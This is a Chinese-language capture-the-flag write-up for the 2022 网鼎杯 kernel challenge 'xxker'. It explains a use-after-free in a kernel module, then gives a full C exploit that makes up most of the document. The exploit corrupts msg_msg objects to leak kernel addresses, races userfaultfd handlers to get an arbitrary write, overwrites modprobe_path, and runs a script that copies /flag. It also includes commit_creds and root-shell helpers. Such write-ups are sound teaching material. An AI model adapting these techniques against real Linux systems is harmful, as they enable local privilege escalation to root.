网鼎杯 2022 xxker writeup

发表于 2022-09-02 更新于 2024-02-28 分类于 CTF
很久没做内核了（最近比赛好像都没什么内核题，退出历史舞台实锤了）。这次这个内核题应该算是常规的，但是之前的板子没留下。然后看错了内核版本，导致思路臭了。还是发出来引以为戒吧。
0x00 简介

简单的内核模块，里面只有 add 和 delete 两个功能。通过题目能够控制的内核堆块只有一个，难点是这个可控堆块的 size 是固定 0x40 的。找遍了知识库，能用的结构体也只有 msg_msg 和 eventfd_ctx。
0x01 漏洞

delete 功能 free 之后没有清空，也就是可以多次 free 一个堆块，构成 UAF。
0x02 利用

泄露思路很明确，通过修改 msg_msg 的 m_ts，构造越界读，堆上有内核基地址和其他的堆地址。通过题目给的 show 功能，结合修改 msg_msg 的 next 指针，也可以泄露堆块本身的地址。（不过似乎没怎么用到这一点）
但是到了利用就露出只因脚了。0x40 大小的 slub 没有本身有虚表指针的，也不太能够构造任意地址写。重新回看内核版本才发现内核版本是 5.10.102，而 5.11 之后 uffd 的利用才被 ban 掉。所以可以用 msg_msg 结合 uffd 构造任意地址写。但是 0x40 大小的 msg_msg 也没办法用 uffd 构造任意地址写，然后找之前看的博客看到了 Linux内核中利用msg_msg结构实现任意地址读写 - 安全客，安全资讯平台 (anquanke.com)。
这个题和 corCTF 的 Wall of Perdition 几乎一样，所以构造方式也一样。明确思路是构造任意地址 free，从而构造 0x1000 的 msg_msg 的 UAF。
0x03 EXP

// gcc exp.c -static -g -o exp
//

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <assert.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)



static int page_size;

int global_fd;
uint64_t g_msg_1_addr;
uint64_t g_msqid;





unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long long int base_addr = 0;

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*)
    KERNCALL = (void*)0xffffffff810b9d80;  // TODO:change it
void (*commit_creds)(
    void*) KERNCALL = (void*)0xffffffff810b99d0;  // TODO:change it

void save_stats_64() {
    asm("movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
}

void templine() {
    commit_creds(prepare_kernel_cred(0));
    asm("pushq   %0;"
        "pushq   %1;"
        "pushq   %2;"
        "pushq   %3;"
        "pushq   $shell;"
        "pushq   $0;"
        "swapgs;"
        "popq    %%rbp;"
        "iretq;"
        :
        : "m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell() {
    printf("root\n");
    system("/bin/sh");
    exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
    return addr - 0xffffffff81000000 + base_addr;
}

struct add_args {
    uint64_t size;
    uint64_t buf;
};

struct show_args {
    uint64_t idx;
    uint64_t size;
    uint64_t buf;
};

struct msg_msg {
    uint64_t m_list_1;
    uint64_t m_list_2;
    long m_type;
    size_t m_ts;		/* message text size */
    uint64_t next;
    void *security;
    /* the actual message follows immediately */
};

struct msg_struct {
    long mtype;
    char mtext[0x1fc8];
};

int add(int fd, uint64_t size, uint64_t buf) {
    struct add_args args = {size, buf};
    return ioctl(fd, 32, &args);
}

int delete(int fd, uint64_t index) {
    uint64_t idx = index;
    return ioctl(fd, 48, &idx);
}

int show(int fd, uint64_t idx, uint64_t size, uint64_t buf) {
    struct show_args args = {idx, size, buf};
    return ioctl(fd, 64, &args);
}


uint64_t kernel_base = 0x0;
uint64_t kmod_base = 0x0;
uint64_t kbss_base = 0x0;
uint64_t kheap_addr = 0x0;

int spray_msg_msg(int msg_size) {

    struct {
        long mtype;
        char mtext[0x10];
    } msg;

    memset(msg.mtext, 'A', msg_size-1);
    msg.mtext[msg_size-1] = 0;
    msg.mtype = 1;

    int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

    // for (int i = 0; i < 0x100; i++) {
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
    // }
    return msqid;
}

int spray_msg_msg_1(char content1, char content2) {

    struct {
        long mtype;
        char mtext[0x10];
    } msg;

    memset(msg.mtext, content1, 0xf);
    msg.mtext[0xf] = 0;
    msg.mtype = 1;

    struct {
        long mtype;
        char mtext[0x2000-0x38];
    } msg1;

    memset(msg1.mtext, content2, 0x1f00);
    msg1.mtext[0x1f00] = 0;
    msg1.mtype = 1;

    int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

    msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
    msgsnd(msqid, &msg1, sizeof(msg1.mtext), 0);
    return msqid;
}

int spray_msg_msg_mul(int n) {

    struct {
        long mtype;
        char mtext[0x10];
    } msg;

    memset(msg.mtext, 'C', 0xf);
    msg.mtext[0xf] = 0;
    msg.mtype = 1;

    int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

    for (int i = 0; i < n; i++) {
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
    }
    return msqid;
}

#define MSG_COPY        040000





uint64_t fault_page, fault_page_len;
uint64_t fault_page_1, fault_page_len_1;

int msqid_3;
uint64_t g_mmaped_addr_1;

void thread_hack(){
    msgsnd(msqid_3, g_mmaped_addr_1 + 0x40, 0x1000-0x30+0x30, 0);
}
void* userfault_handler_2(void *arg);

void* userfault_handler_1(void *arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] Handler1 Created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd      = uffd;
    pollfd.events  = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
        errExit("[-] Wrong pool return value");

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
        errExit("[-] Error in reading uffd_msg");
    assert(msg.event == UFFD_EVENT_PAGEFAULT);


    puts("[+] Trigger! Handling1");

    uint64_t buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    // memset((void*)buf, 'E', 0x1000);

    char buf1[0x2000];

    // 把 msg_msg(1) 的 next 指向 msg_msg_seg(4) (也就是 msg_msg(3))
    memset(buf + sizeof(struct msg_msg), 'X', 0xf);
    ((struct msg_msg *)buf)->m_list_1 = kheap_addr;
    ((struct msg_msg *)buf)->m_list_2 = kheap_addr;
    ((struct msg_msg *)buf)->m_type = 1;
    ((struct msg_msg *)buf)->m_ts = 0x2000-0x38;
    ((struct msg_msg *)buf)->next = g_msg_1_addr;
    ((struct msg_msg *)buf)->security = 0;
    delete(global_fd, 0);
    add(global_fd, 64, (uint64_t)buf);

    // 然后把 msg_msg(1) 连带着 msg_msg_seg(4) 一起 free 掉。
    // 这里只取了 0xf 个字节，多了会溢出读 msg_msg(1) 的 0x40 外的内容，这在 uffd 处理函数中似乎是不被允许的。
    msgrcv(g_msqid, buf1, 0xf, 0, IPC_NOWAIT | MSG_NOERROR);

    // 之后再把原来的 msg_msg(1) 的位置分配回来，避免出错。
    add(global_fd, 64, (uint64_t)buf);

#define OFFSET_INPAGE_1 0x40

    fault_page_1 = mmaped_addr + 0x1000; 
    fault_page_len_1 = 0x1000;

    register_userfault(fault_page_1, fault_page_len_1, &userfault_handler_2);

    memset(mmaped_addr + OFFSET_INPAGE_1 + 0x8, 0x9f, 0x800);
    *(uint64_t *)(mmaped_addr+OFFSET_INPAGE_1) = 1;

    msqid_3 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

    g_mmaped_addr_1 = mmaped_addr;
 
    // 这样在 thread_hack 中，sendmsg 产生的 msg_msg(5) 就会占据被 free 的 msg_msg_seg(4) 的位置。同时 msg_msg(5) 快写完的时候，会触发到 uffd_2 并被 getchar 卡住。
    // 总结一下就是:
    //   msg_msg(4)->next = msg_msg_seg(4) = msg_msg(5)
    // 接下来把 msg_msg(4) 写完并写到 msg_msg_seg(4) 中，就可以覆盖 msg_msg(5) 的头部信息了（主要是 next 指针）
    pthread_t thr;
    if ( pthread_create(&thr, NULL, thread_hack, NULL) ) // handler函数进行访存错误处理
        errExit("[-] pthread_create");
    
    // sleep 保证能够在 msg_msg(5) 产生后才触发 msg_msg(4) 的写（以及 msg_msg_seg(4) 的覆盖）
    sleep(1);



    // 把 msg_msg(5) 的头部全部覆盖为 target 指针即可，注意是 target-8。
    // 现在，msg_msg(5) 的 next 指针已经指向 target-8，因此只用在 uffd_2 中完成对 msg_msg(5)->next 的写入，就是任意地址写了。
    // 接下来在 uffd_2 中继续
    for (int i = 0; i< 0x20; i++) {
        ((uint64_t *)buf)[i] = kernel_base + 0x1a6c000 - 8; // modprobe_path_addr
    }

    struct uffdio_copy uc;
    uc.src = (unsigned long)buf; 
    uc.dst = (unsigned long)fault_page;
    uc.len = fault_page_len;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

    puts("[+] Done1");
    return NULL;
}

void* userfault_handler_2(void *arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] Handler2 Created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd      = uffd;
    pollfd.events  = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
        errExit("[-] Wrong pool return value");

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
        errExit("[-] Error in reading uffd_msg");
    assert(msg.event == UFFD_EVENT_PAGEFAULT);


    puts("[+] Trigger! Handling2");

    // 覆盖 target
    uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    strcpy((char *)mmaped_addr+0x18, "/tmp/a\x00");

    // 这个 getchar 需要在 uffd_1 完了之后才能放行。所以改成 sleep(2) 也是 ok 的。
    getchar();

    struct uffdio_copy uc;
    uc.src = (unsigned long)mmaped_addr;
    uc.dst = (unsigned long)fault_page_1;
    uc.len = fault_page_len_1;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复copy_from_user

    puts("[+] Done2");


    // 最后一击
    // the final call to modprobe_path exploit!
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
    system("chmod +x /tmp/a");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");

    return NULL;
}


void register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler)
{
    struct uffdio_api ua;
    struct uffdio_register ur;
    pthread_t thr;

    uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
        errExit("[-] ioctl-UFFDIO_API");
    ur.range.start = (unsigned long)fault_page;
    ur.range.len   = fault_page_len;
    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
        errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
    if ( pthread_create(&thr, NULL, handler, (void*)uffd) ) // handler函数进行访存错误处理
        errExit("[-] pthread_create");
    return;
}



uint64_t con_seq(char c) {
    uint64_t ret = 0;
    for (int i = 0; i < 0x7; i++) {
        ret += c;
        ret <<= 8;
    }
    ret += c;
    return ret;
}

int check_con_seq(uint64_t x) {
    for (int i = 0; i < 0x10; i++) {
        if (x == con_seq(0x50+i)) {
            return i;
        }
    }
    return -1;
}



int main() {
    int fd;
    char buf[0x100];
    char buf1[0x2000];
    int msqid;
    int msqid_1[50];
    uint64_t tmp_addr = 0;

    fd = open("/dev/kernelpwn", 2);
    if(fd < 0) {
        printf("open error\n");
        return -1;
    }

    global_fd = fd;

    add(fd, 64, (uint64_t)buf);
    delete(fd, 0);

    // 用 msg_msg(1) 结构体占据刚刚被 free 的堆块。
    msqid = spray_msg_msg(0x10);
    g_msqid = msqid;

    // 在上一步的 msg_msg(1) 结构体后面再次分配一个 msg_msg(2) 结构体(同样也是0x40大小)。（由于不能稳定打中，需要喷）
    // msg_msg(2) 结构体所在的消息队列中，除了 0x40 msg_msg(2) 外，还有一个 0x2000 大小的 msg_msg(3) 消息。
    // 结构如 https://p5.ssl.qhimg.com/t01bdf9674c46fb92a7.png 所示
    for (int i = 0; i < 0x10; i++) {
        msqid_1[i] = spray_msg_msg_1(0x50+i, 0x60+i);
    }

    // 利用题目给的show, 泄露出 msg_msg(1) 的 m_list
    show(fd, 0, 0x10, buf);
    printf("%llx %llx\n", ((uint64_t*)buf)[0], ((uint64_t*)buf)[1]);
    kheap_addr = ((uint64_t*)buf)[0]; 
    if (kheap_addr == 0) {
        printf("kheap_addr is 0\n");
        // return -1;
    }

    // 将上三步的 msg_msg(1) 的 next 指针指向 m_list，这样通过 m_list 反向泄露出当前堆块的地址。(好像没用，但调试方便了不少...)
    // 同时, 利用 msg_msg 溢出读后面的 0x1000 字节，可以泄露出内核基地址(不稳定, 所以 exp 要跑很多遍)、通过 msg_msg(2) 的 m_list 泄露出 msg_msg(3) 的地址(即 fik_addr)。
    memset(buf + sizeof(struct msg_msg), 'B', 0xf);
    ((struct msg_msg *)buf)->m_list_1 = kheap_addr;
    ((struct msg_msg *)buf)->m_list_2 = kheap_addr;
    ((struct msg_msg *)buf)->m_type = 1;
    ((struct msg_msg *)buf)->m_ts = 0x2000-0x38;
    ((struct msg_msg *)buf)->next = kheap_addr-0x8;
    ((struct msg_msg *)buf)->security = 0;
    delete(fd, 0);
    add(fd, 64, (uint64_t)buf);

    memset(buf1, 0, 0x2000);
    msgrcv(msqid, buf1, 0x2000-0x38, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    // msgrcv(msqid, buf1, 0x1000-0x38, 1, IPC_NOWAIT | MSG_NOERROR);
    sleep(1);

    int fik = -1, fik_off = -1;
    for (int i = 0; i < (0x2000-0x38)/8; i++) {
        tmp_addr = ((uint64_t*)buf1)[i];
        if (tmp_addr != 0){
            // printf("%#x: %#llx\n", i*8, tmp_addr);
            if (tmp_addr > 0xffffffff81000000 && tmp_addr < 0xffffffffc0000000) {
                if (!((tmp_addr - 0x5c9f) % 0x1000)) {
                    kernel_base = tmp_addr - 0x155c9f;
                    printf("kernel_base: %#llx\n", kernel_base);
                }
            }
            if (i % 8 == 1 && fik == -1) {
                fik = check_con_seq(tmp_addr);
                if (fik != -1) {
                    fik_off = i*8-0x30;
                }
            }
        }
    }

    printf("%#x: fik: %d\n", fik_off, fik);
    uint64_t fik_addr = ((uint64_t*)buf1)[fik_off/8];
    printf("fik_addr: %#llx\n", fik_addr);
    if (kernel_base == 0) {
        printf("kernel_base is 0\n");
        return -1;
    }

    uint64_t heap_self_addr = ((uint64_t*)(buf1))[0xfd8/8];
    printf("heap_self_addr: %#llx\n", heap_self_addr);


    // 同样的套路, 通过 fik_addr 泄露出 msg_msg(3)->next 地址。这样就把 0x1000 大小的 msg_msg(3) 和 msg_msg_seg(3) 都泄露出来了。
    memset(buf + sizeof(struct msg_msg), 'C', 0xf);
    ((struct msg_msg *)buf)->m_list_1 = kheap_addr;
    ((struct msg_msg *)buf)->m_list_2 = kheap_addr;
    ((struct msg_msg *)buf)->m_type = 1;
    ((struct msg_msg *)buf)->m_ts = 0x2000-0x38;
    ((struct msg_msg *)buf)->next = fik_addr-0x40;
    ((struct msg_msg *)buf)->security = 0;
    delete(fd, 0);
    add(fd, 64, (uint64_t)buf);    

    memset(buf1, 0, 0x2000);
    msgrcv(msqid, buf1, 0x1fc8, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    sleep(1);


    // for (int i = 0; i < (0x2000-0x38)/8; i++) {
    //     tmp_addr = ((uint64_t*)buf1)[i];
    //     if (tmp_addr != 0){
    //         printf("%#x: %#llx\n", i*8, tmp_addr);
    //     }
    // }

    uint64_t msg_1_addr = fik_addr;
    g_msg_1_addr = msg_1_addr;
    uint64_t seg_1_addr = ((uint64_t*)buf1)[0x1030/8];

    printf("msg_1_addr: %#llx\n", msg_1_addr);
    printf("seg_1_addr: %#llx\n", seg_1_addr);


    // 泄露结束，进入利用环节。把 msg_msg(2) 和 msg_msg(3) 都 free 掉，下面再把 msg_msg(3) 和 msg_msg_seg(3) 重新分配回来。 
    msgrcv(msqid_1[fik], buf1, 0x10, 0, IPC_NOWAIT | MSG_NOERROR); 
    msgrcv(msqid_1[fik], buf1, 0x1fc8, 0, IPC_NOWAIT | MSG_NOERROR); 

    // 这一步是把 0x1000 的 free_list 里面的块消耗掉。 
    int msqid_2[0x10];
    for (int i = 0; i < 0x4; i++) {
        msqid_2[i] = spray_msg_msg_1(0x70+i, 0x80+i);
    }


    // 准备 userfaultfd 的内存。
    uint64_t mmaped_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mmaped_addr == -1) {
        printf("mmap error\n");
        return -1;
    }


// 因为 msg_msg 头大小是 0x30，所以这里 offset 要比头多一点点，不然的话写到 msg_msg_seg 才会停。
#define OFFSET_INPAGE 0x40

    fault_page = mmaped_addr + 0x1000; 
    fault_page_len =0x1000;

    register_userfault(fault_page, fault_page_len, &userfault_handler_1);

    memset(mmaped_addr + OFFSET_INPAGE + 0x8, 0x99, 0x800);
    *(uint64_t *)(mmaped_addr+OFFSET_INPAGE) = 1;

    msqid_2[4] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

    // 到这里才是真正的原来的 msg_msg(3) 和 msg_msg_seg(3)。
    // 0x1f08 是因为调试的时候发现 0x1fc8 多了 0x10 没办法拷贝，所以随便设置了一个小一点的值。
    // 这个块要要触发 userfaultfd_1。
    // 由于 msg_msg 分配的时候是先把 msg_msg 和 msg_msg_seg 全部分配完；接着一起填充完，所以到了 uffd 触发的时候,
    // 原来 msg_msg(3) 和原来的 msg_msg_seg(3) 已经被分配完了。
    // 但是这里注意顺序, 原来的 msg_msg(3) 变成了新的 msg_msg_seg(4)，原来的 msg_msg_seg(4) 变成了新的 msg_msg(3)。
    // 这一句执行完, 卡在 uffd_1 时，msg_msg(4) 已经被填了绝大部分，大概还剩 0x10 没填完。
    msgsnd(msqid_2[4], mmaped_addr + OFFSET_INPAGE, 0x1f08, 0);


    // 接着回过头看 uffd_1
    // Continue in userfault_handler_1

    // arb write



    getchar();

    return 0;
}